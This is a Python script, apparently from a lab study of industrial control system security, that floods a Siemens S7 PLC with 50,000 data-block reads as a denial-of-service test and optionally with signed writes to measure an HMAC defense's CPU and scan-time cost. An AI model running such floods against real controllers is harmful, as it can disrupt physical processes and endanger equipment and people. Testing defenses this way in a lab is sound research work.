attack_c.py

# attack_c.py
"""
Attack C: Denial-of-Service Flooding.

Part 1 (baseline, no defense):
  - High-rate DB read flood to stress S7 communication stack.

Part 2 (optional, with defense enabled):
  - High-rate signed-write requests to see impact of HMAC verification
    on CPU load and OB1 scan time (for performance analysis).
"""

import time

from util_snap7 import connect_client, read_db_bytes
from util_signed_write import send_signed_write
from config import (
    DB_PROCESS,
    MOTOR_SPEED_OFFSET,
    REAL_SIZE,
    TAGID_MOTOR_SPEED,
)


# --------- Baseline: read flood (PUT/GET-like) --------- #

def baseline_attack_c(client, num_requests=50000):
    """
    Baseline Attack C: simple read flood on Motor_Speed.
    (Same behavior as your original attack_c_dos_flood.py)
    """
    print("[*] Connected to PLC for Attack C (DoS flood) - BASELINE")
    print(f"[*] Starting flood with {num_requests} read requests to DB1.Motor_Speed")

    start = time.time()
    for i in range(num_requests):
        _ = read_db_bytes(client, DB_PROCESS, MOTOR_SPEED_OFFSET, REAL_SIZE)
        if i % 5000 == 0 and i != 0:
            print(f"  Sent {i} requests so far...")

    end = time.time()
    duration = end - start
    rps = num_requests / duration if duration > 0 else 0.0

    print(f"[+] Completed {num_requests} requests in {duration:.2f} seconds")
    print(f"[+] Approximate request rate: {rps:.2f} requests/second")
    print("[!] Monitor PLC CPU load and cycle time in TIA Portal during this baseline attack.")


# --------- With defense: signed-write flood (optional) --------- #

def signed_write_flood(client, num_requests=5000):
    """
    Optional: flood the PLC with valid signed-write requests to see
    performance impact with HMAC verification enabled.

    This is not a security bypass test, but helps quantify CPU load
    / scan-time overhead for real-time performance.
    """
    print(f"\n[*] Attack C (with defense): signed-write flood ({num_requests} requests)")

    start = time.time()
    for i in range(1, num_requests + 1):
        value = float(i)  # arbitrary changing value
        counter = i
        ok = send_signed_write(client, TAGID_MOTOR_SPEED, value, counter)
        if i % 1000 == 0:
            print(f"  Sent {i} signed writes (last accepted={ok})")

    end = time.time()
    duration = end - start
    rps = num_requests / duration if duration > 0 else 0.0

    print(f"[+] Completed {num_requests} signed writes in {duration:.2f} seconds")
    print(f"[+] Approximate signed-write rate: {rps:.2f} requests/second")
    print("[!] Record CPU utilization and OB1 scan time in TIA Portal to compare against baseline.")


def main():
    client = connect_client()

    print("=== Attack C: DoS Flood (Baseline) ===")
    baseline_attack_c(client, num_requests=50000)

    print("\n=== Attack C: Optional Signed-Write Flood (with defense) ===")
    print(">>> Only meaningful if HMAC defense is enabled on PLC and you want performance data.")
    signed_write_flood(client, num_requests=5000)

    print("\n[*] Attack C script completed.")


if __name__ == "__main__":
    main()